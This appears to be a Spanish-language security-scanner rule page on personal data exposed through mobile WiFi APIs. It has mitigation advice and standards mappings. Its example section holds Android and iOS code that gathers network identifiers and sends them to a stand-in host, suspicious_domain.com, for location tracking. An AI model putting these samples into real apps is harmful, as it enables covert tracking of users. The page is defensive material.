Saltar a contenido

Preocupaciones sobre la información de identificación personal en la API WiFi móvil

Descripción

Preocupaciones sobre la información de identificación personal en la API WiFi

Las aplicaciones móviles con acceso a la API WiFi pueden obtener Información de Identificación Personal (PII), como nombres de redes y el historial de uso de puntos de acceso, lo que podría conducir a la inferencia de datos privados.

Las aplicaciones que utilizan permisos y API relacionados con WiFi pueden acceder a información confidencial sobre puntos de acceso WiFi (como identificadores, nombres e intensidad de señales) y potencialmente inferir:

  • Identificadores únicos de dispositivo
  • Datos de geolocalización mediante el uso de puntos de acceso WiFi circundantes
  • Historial de movimiento del usuario e inferencia de enlaces sociales basados en patrones repetitivos en el uso de puntos de acceso WiFi

Ejemplos

   import android.content.Context;
   import android.net.wifi.WifiInfo;
   import android.net.wifi.WifiManager;
   import java.net.HttpURLConnection;
   import java.net.URL;
   import java.io.OutputStream;
   import java.nio.charset.StandardCharsets;

   public class WifiInfoRetriever {

       private Context context;

       public WifiInfoRetriever(Context context) {
           this.context = context;
       }

       public void retrieveWifiInfo() {
           WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);

           if (wifiManager.isWifiEnabled()) {
               WifiInfo wifiInfo = wifiManager.getConnectionInfo();

               String ssid = wifiInfo.getSSID();
               String bssid = wifiInfo.getBSSID();
               int rssi = wifiInfo.getRssi();
               String macAddress = wifiInfo.getMacAddress();

               // Construct JSON with data
               String jsonInputString = String.format("{\"ssid\":\"%s\", \"bssid\":\"%s\", \"rssi\":%d, \"macAddress\":\"%s\"}",
               ssid, bssid, rssi, macAddress);

               try {
                   // Endpoint URL
                   URL url = new URL("http://suspicious_domain.com/api/networks");
                   HttpURLConnection connection = (HttpURLConnection) url.openConnection();

                   // Connection setup
                   connection.setDoOutput(true);
                   connection.setRequestMethod("POST");
                   connection.setRequestProperty("Content-Type", "application/json");

                   try (OutputStream os = connection.getOutputStream()) {
                       byte[] input = jsonInputString.getBytes(StandardCharsets.UTF_8);
                       os.write(input, 0, input.length);
                   }
                   // Additional analysis could be performed when the data reaches the endpoint
                   // such as inferring location or movement patterns of users             
                   connection.disconnect();
               } catch (Exception e) {
                   e.printStackTrace();
               }
           } else {
               System.out.println("WiFi is not enabled");
           }
       }
   }
   import Foundation
   import SystemConfiguration.CaptiveNetwork
   import NetworkExtension

   class WifiInfoRetriever {

       func retrieveWifiInfo() {
           // Get current WiFi information
           guard let interfaces = CNCopySupportedInterfaces() as? [String] else {
               print("Unable to get network interfaces")
               return
           }

           var wifiData: [String: String] = [:]

           for interface in interfaces {
               if let networkInfo = CNCopyCurrentNetworkInfo(interface as CFString) as? [String: Any] {
                   wifiData["ssid"] = networkInfo[kCNNetworkInfoKeySSID as String] as? String
                   wifiData["bssid"] = networkInfo[kCNNetworkInfoKeyBSSID as String] as? String
               }
           }

           // Check if data was retrieved
           if !wifiData.isEmpty {
               // Convert to JSON
               guard let jsonData = try? JSONSerialization.data(withJSONObject: wifiData, options: []) else {
                   print("Could not convert to JSON")
                   return
               }

               // Create request
               guard let url = URL(string: "http://suspicious_domain.com/api/networks") else {
                   return
               }

               var request = URLRequest(url: url)
               request.httpMethod = "POST"
               request.httpBody = jsonData
               request.addValue("application/json", forHTTPHeaderField: "Content-Type")

               // Send data to server
               let task = URLSession.shared.dataTask(with: request) { data, response, error in
                   // Handle response as needed
                   // Data could be used to infer user location and movement patterns
               }
               task.resume()
           } else {
               print("WiFi information not available")
           }
       }
   }

Recomendación

Mitigación de riesgos de privacidad de la API WiFi

Para mitigar los riesgos de privacidad asociados con el acceso de las API WiFi móviles a la Información de Identificación Personal (PII), tanto los usuarios como los desarrolladores pueden tomar varias precauciones:

Para usuarios:

  • Mantenga el sistema operativo móvil y todas las aplicaciones actualizadas a las últimas versiones.
  • Tenga cuidado al otorgar permisos relacionados con WiFi a las aplicaciones.
  • Utilice una VPN al conectarse a redes WiFi públicas.
  • Revise periódicamente los permisos de las aplicaciones en la configuración del dispositivo.

Para desarrolladores:

  • Solicite permiso explícito del usuario para acceder a información confidencial de WiFi.
  • Implemente el principio de 'Privilegio Mínimo', solicitando y utilizando solo los permisos mínimos necesarios para que la aplicación funcione.
  • Haga hash o anonimice cualquier dato WiFi antes de almacenarlo o transmitirlo.
  • Proporcione políticas de privacidad claras que expliquen cómo se utiliza la información de WiFi.
  • Considere si la información de WiFi es realmente necesaria para la funcionalidad de la aplicación.

Ejemplos de código para desarrolladores:

// Request appropriate permissions
if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
    != PackageManager.PERMISSION_GRANTED) {
    ActivityCompat.requestPermissions(this,
           new String[]{Manifest.permission.ACCESS_FINE_LOCATION},
           PERMISSION_REQUEST_CODE);
}

// Use Android 10+ methods whenever possible
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
    // Use Android 10+ compliant methods
    // For example, WifiInfo.getSSID() and getBSSID() return masked values by default
} else {
    // Use methods for earlier Android versions
}

// Use privacy focused NetworkCallback API
ConnectivityManager connectivityManager = 
    (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);

NetworkRequest.Builder builder = new NetworkRequest.Builder();
builder.addTransportType(NetworkCapabilities.TRANSPORT_WIFI);

connectivityManager.registerNetworkCallback(builder.build(), new ConnectivityManager.NetworkCallback() {
    @Override
    public void onAvailable(Network network) {
        // Handle WiFi connection here without accessing PII
    }
});
// First, ensure you have proper permissions in Info.plist
// <key>NSLocationWhenInUseUsageDescription</key>
// <string>This app needs to access your location to find nearby WiFi networks</string>

import NetworkExtension

func requestWiFiPermission() {
    // Request permission before accessing WiFi information
    if #available(iOS 13.0, *) {
        NEHotspotHelper.register(options: nil, queue: .main) { (cmd) -> Void in
            // Handle commands appropriately
            print("Permission request processed")
        }
    }
}

// Use minimal WiFi information when necessary
func connectToKnownNetwork() {
    // Instead of collecting and storing SSID/BSSID pairs,
    // use the system's built-in capabilities
    if let configuration = NEHotspotConfiguration(ssid: "KnownNetwork") {
        NEHotspotConfigurationManager.shared.apply(configuration) { error in
            if let error = error {
                print("Error connecting: \(error.localizedDescription)")
            } else {
                print("Connected successfully")
            }
        }
    }
}

// If you must access WiFi information, anonymize it
func getAnonymizedWifiInfo() -> String? {
    guard let interfaces = CNCopySupportedInterfaces() as? [String],
          let interface = interfaces.first,
          let networkInfo = CNCopyCurrentNetworkInfo(interface as CFString) as? [String: Any],
          let ssid = networkInfo[kCNNetworkInfoKeySSID as String] as? String else {
        return nil
    }

    // Hash the SSID instead of using it directly
    return ssid.data(using: .utf8)?.sha256Hash.hexString
}

// Extension for hashing
extension Data {
    var sha256Hash: Data {
        var hash = [UInt8](repeating: 0, count: Int(CC_SHA256_DIGEST_LENGTH))
        self.withUnsafeBytes {
            _ = CC_SHA256($0.baseAddress, CC_LONG(self.count), &hash)
        }
        return Data(hash)
    }

    var hexString: String {
        return map { String(format: "%02hhx", $0) }.joined()
    }
}

Enlaces

Estándares

  • CCPA:
    • CCPA_1798_100
    • CCPA_1798_110
    • CCPA_1798_115
    • CCPA_1798_135
    • CCPA_1798_150
  • CWE_TOP_25:
    • CWE_276
  • GDPR:
    • ART_1
    • ART_2
    • ART_3
    • ART_4
    • ART_5
    • ART_6
    • ART_9
    • ART_13
    • ART_14
    • ART_21
    • ART_32
  • OWASP_ASVS_L1:
    • V8_3_3
  • OWASP_MASVS_L1:
    • MSTG_ARCH_1
    • MSTG_ARCH_4
    • MSTG_ARCH_12
    • MSTG_STORAGE_1
    • MSTG_STORAGE_4
    • MSTG_STORAGE_12
    • MSTG_CODE_5
  • OWASP_MASVS_L2:
    • MSTG_ARCH_12
    • MSTG_STORAGE_12
    • MSTG_STORAGE_4
  • HIPAA_CONTROLS:
    • SECURITY221
    • SECURITY212
    • SECURITY213
  • OWASP_MASVS_v2_1:
    • MASVS_PRIVACY_1
    • MASVS_PRIVACY_3
    • MASVS_STORAGE_2
    • MASVS_CODE_1
    • MASVS_CODE_3
  • CNIL_FOR_EDITORS:
    • EDITORS_1_1_1
    • EDITORS_1_2_3
    • EDITORS_5_1_5
  • CNIL_FOR_DEVELOPERS:
    • DEVELOPERS_2_2_4